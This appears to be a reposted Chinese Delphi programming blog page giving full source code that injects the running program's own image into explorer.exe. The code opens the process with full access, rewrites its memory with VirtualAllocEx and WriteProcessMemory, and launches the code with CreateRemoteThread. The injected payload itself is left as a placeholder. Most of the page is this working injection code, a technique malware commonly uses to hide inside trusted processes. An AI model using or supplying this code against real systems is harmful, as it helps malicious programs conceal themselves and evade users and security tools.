delphi EXE注入代码


本文整理自网络,侵删。

 program Project1; 
{$IMAGEBASE $12120000} //换个镜像基址,这里是必须得,否则容易覆盖EXPLORER的进程信息
//=============================================================================
uses
windows,UrlMon,dialogs;
//windows是一定要的
//=============================================================================
Function Main(dwEntryPoint:Pointer):LongWord;stdcall;
begin
XXXXXXXXXXXXXXXXXXXXXX
end;
//=============================================================================
procedure Inject(ProcessHandle: longword; EntryPoint: pointer);
var
Module, NewModule: Pointer;
Size, BytesWritten, TID: longword;
begin
Module := Pointer(GetModuleHandle(nil));
Size := PImageOptionalHeader(Pointer(integer(Module) + PImageDosHeader(Module)._lfanew + SizeOf(dword) + SizeOf(TImageFileHeader))).SizeOfImage;
VirtualFreeEx(ProcessHandle, Module, 0, MEM_RELEASE);
NewModule := VirtualAllocEx(ProcessHandle, Module, Size, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcessHandle, NewModule, Module, Size, BytesWritten);
CreateRemoteThread(ProcessHandle, nil, 0, EntryPoint, Module, 0, TID);
end;
//=============================================================================
var
PID,ProcessHandle:LongWord;
begin
GetWindowThreadProcessId(FindWindow('Shell_TrayWnd', nil), @PID);
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, PID);
Inject(ProcessHandle,@Main); //注入explorer.exe进程。
CloseHandle(ProcessHandle);
showmessage('注入EXPLORER.EXE!');
end.

相关阅读 >>

Delphi清除ie临时文件,历史记录

Delphi打开关闭光驱

Delphi getwindowhandle

Delphi 如何读取文件头 判断文件类型

Delphi tstreamwriter tstreamreader 流操作3

Delphi 四舍五入取整函数

Delphi 用dde控制word

Delphi 获取屏幕缩放比例

Delphi用twebbrowser组件在Delphi中post数据和取得网页源文件

Delphi md5加密算法

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...